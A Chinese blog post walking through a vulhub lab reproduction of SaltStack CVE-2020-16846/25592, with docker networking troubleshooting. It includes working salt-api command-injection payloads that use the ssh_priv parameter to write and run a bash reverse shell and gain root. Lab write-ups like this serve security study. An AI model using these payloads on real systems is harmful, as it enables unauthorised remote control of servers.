Saltstack CVE-2020-16846 部分docker复现的环境访问不了的解决思路

Posted on 2024-07-31  22 Views


一直在鼓捣我的docker,来来回回重启下载反复多次,居然最后发现没有加https。。。

导致一致访问不了这个网页,下次一定要记得先看看readme文件里面怎么写的。。。

还有就是在这反复下载docker的时光中,我发现docker有bug,他把容器映射到我的内网ip上,导致我外放ip访问不到,耗了好长一段时间

SaltStack是一个分布式运维系统,在互联网场景中被广泛应用,有以下两个主要功能:

  •     配置管理系统,能够将远程节点维护在一个预定义的状态

  •     分布式远程执行系统,用于在远程节点上单独或通过任意选择标准来执行命令和查询数据

CVE-2020-16846和CVE-2020-25592组合使用可在未授权的情况下通过salt-api接口执行任意命令。CVE-2020-25592允许任意用户调用SSH模块,CVE-2020-16846允许用户执行任意命令。salt-api虽不是默认开启配置,但绝大多数SaltStack用户会选择开启salt-api,故存在较高风险。

我们使用vulhub靶场复现本次环境,访问ip+8000,一定要https

这是一个命令执行方面的漏洞,漏洞点在访问他的run页面时候,将数据包get请求方式变为post,然后传入相应参数可以被系统调用cmd命令执行

传参,将得到的数据包以右键下拉找到 ‘变更请求方式’ 的选项更改数据包,请不要手动修改,无效

token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|touch%20/tmp/success%3b

我们可以看到回显值是return了一个空的数组,为保证严谨性我们直接去容器里面看看到底写入没有,使用命令进入容器内部

docker exec -it 容器id bash

进入tmp目录,我们发现我们写入的文件

解释一下此命令 touch%20/tmp/success%3b 在tmp目录下创建一个名为success的文件 %20是 ‘空格’ 的编码形式,%3b表示分号;完整为"touch /tmp/success;"

即我们只需要修改aaa|后面的命令即可上传后门,用webshell连接,实现远程控制

在这里我们使用反弹shell在容器里面先试试看看能不能执行

bash -i >& /dev/tcp/ip/端口号 0>&1

xshell连接kail监听6666端口号

发现成功,这个时候我们就可以在xshell里面执行命令了

回到刚刚的数据包内,我们重新修改一下内容,将我们的反弹shell写入.sh文件内并执行它

原:echo 'bash -i >& /dev/tcp/ip/端口号 0>&1' > /tmp/123.sh;
token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|echo%20'bash -i >& /dev/tcp/ip/端口号 0>&1'%20>%20/tmp/123.sh%3b

发现报错,结果是&符号也要变成ASCII码形式

token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|echo%20'bash -i >%26 /dev/tcp/ip/端口号 0>%261'%20>%20/tmp/123.sh%3b

成功上传,看看有没有

接下来执行该文件,并监听6666端口

token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|bash%20/tmp/123.sh

无回显但连接成功

执行命令发现是root权限,拿下

Successfully!!!

回到开头提到的,我发现我的网卡有问题192开头是内,139是外

最后需要删除iptables里面的路由,重启docker服务,打开容器才能行

iptables -F
systemctl restart docker
docker start 容器id

请按顺序执行

就搞定了